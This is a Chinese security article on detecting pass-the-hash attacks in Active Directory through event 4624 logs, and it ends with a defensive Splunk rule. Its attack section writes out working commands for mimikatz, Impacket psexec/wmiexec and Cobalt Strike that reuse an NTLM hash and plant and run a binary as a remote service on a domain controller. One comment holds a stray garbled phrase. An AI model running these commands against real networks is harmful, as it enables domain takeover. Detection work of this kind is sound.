基于AD Event日志检测哈希传递攻击
01、简介
哈希传递攻击是基于NTLM认证的一种攻击方式,当我们获得某个管理员用户的密码哈希值,就可以利用密码哈希值进行横向渗透。
在域环境中,只有域管理员的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域内任何一台机器。基于AD Event日志如何检测哈希传递攻击,这个就是我们今天探讨的话题。
02、哈希传递攻击实例
(1)使用mimikatz 进行哈希传递获取域控权限
在域环境中,当我们获得了域管理员的NTLM哈希值,我们就可以访问域内任何一台服务器。
#提权
privilege::debug
#使用域管理员bypassu拍卖行及的NTLM值进行哈希传递攻击
sekurlsa::pth /user:bypass /domain:evil.com /ntlm:44f077e27f6fef69e7bd834c7242b040
利用PsExec.exe来远程登录和执行命令
(2)使用lmpacket工具包进行哈希传递获取域控权限
lmpacket工具包集成了多个脚本,可用来进行哈希传递,如psexec.py、wmiexec.py。
psexec.py -hashes 00000000000000000000000000000000:44f077e27f6fef69e7bd834c7242b040 bypass@192.168.44.219
wmiexec.py -hashes 00000000000000000000000000000000:44f077e27f6fef69e7bd834c7242b040 bypass@192.168.44.219
(3) 通过Cobalt strike进行pth横向获取域控权限
在已上线的机器中,使用先前获取的hash对目标域控进行哈希传递攻击,获取域控权限。
哈希传递
pth evil\bypass 44f077e27f6fef69e7bd834c7242b040
shell dir \\192.168.44.219\c$
获取系统权限
shell copy C:\Users\administrator\Desktop\artifact.exe \\192.168.44.219\c$
shell sc \\192.168.44.219 create test binpath=C:\artifact.exe
shell sc \\192.168.44.219 start test
shell sc \\192.168.44.219 delete test
03、哈希传递攻击检测
哈希传递攻击的检测其实是比较困难的,因为它总是和正常的访问行为非常类似,我们需要从域控收集的大量的安全日志中找到需要关心的事件和具体的值。
分析:在使用NTLM凭证进行横向获取域控权限时,域控的日志中会记录4624登录事件,LogonType为3且登录进程为NtlmSsp,这里可以找到登录用户和登录源地址。为了能从正常的访问行为中,找出异常登录行为,我们可以设置白名单,将域控管理员和正常登录来源IP添加至白名单,关注关键用户的登录行为,排除干扰项。另外,当攻击者使用工具进行哈希传递的时候,比如使用psexec.py脚本进行哈希传递会同时产生多条LogonType为3且登录进程为NtlmSsp的日志,我们还可以将登录频率作为判断依据进行检测。
安全规则示例:
eventtype=wineventlog_security EventCode=4624 LogonProcessName=NtLmSsp match_user!="*$" src!="-" match_user IN("administrator","bypass") | eval time=_time | bin time span=30m | stats count earliest(_time) AS start_time latest(_time) AS end_time values(src) as val_src by time match_user dest | eval start_time=strftime(start_time,"%F %T"),end_time=strftime(end_time,"%F %T") | search count >5 | nomv val_src | eval message="在"+start_time+"到"+end_time+"时间内,域控服务器:"+dest +" 疑似遭受哈希传递攻击"+count+"次, 操作账号:"+match_user+" 操作来源ip:"+val_src
| table start_time end_time match_user message count val_src dest
告警效果如下图:
相关文章
- 在 Go 里用 CGO?这 7 个问题你要关注!
- 9款优秀的去中心化通讯软件 Matrix 的客户端
- 求职数据分析,项目经验该怎么写
- 在OKR中,我看到了数据驱动业务的未来
- 火山引擎云原生大数据在金融行业的实践
- OpenHarmony富设备移植指南(二)—从postmarketOS获取移植资源
- 《数据成熟度指数》报告:64%的企业领袖认为大多数员工“不懂数据”
- OpenHarmony 小型系统兼容性测试指南
- 肯睿中国(Cloudera):2023年企业数字战略三大趋势预测
- 适用于 Linux 的十大命令行游戏
- GNOME 截图工具的新旧截图方式
- System76 即将推出的 COSMIC 桌面正在酝酿大变化
- 2GB 内存 8GB 存储即可流畅运行,Windows 11 极致精简版系统 Tiny11 发布
- 迎接 ecode:一个即将推出的具有全新图形用户界面框架的现代、轻量级代码编辑器
- loongarch架构介绍(三)—地址翻译
- Go 语言怎么解决编译器错误“err is shadowed during return”?
- 敏捷:可能被开发人员遗忘的部分
- Denodo预测2023年数据管理和分析的未来
- 利用数据推动可持续发展
- 在 Vue3 中实现 React 原生 Hooks(useState、useEffect),深入理解 React Hooks 的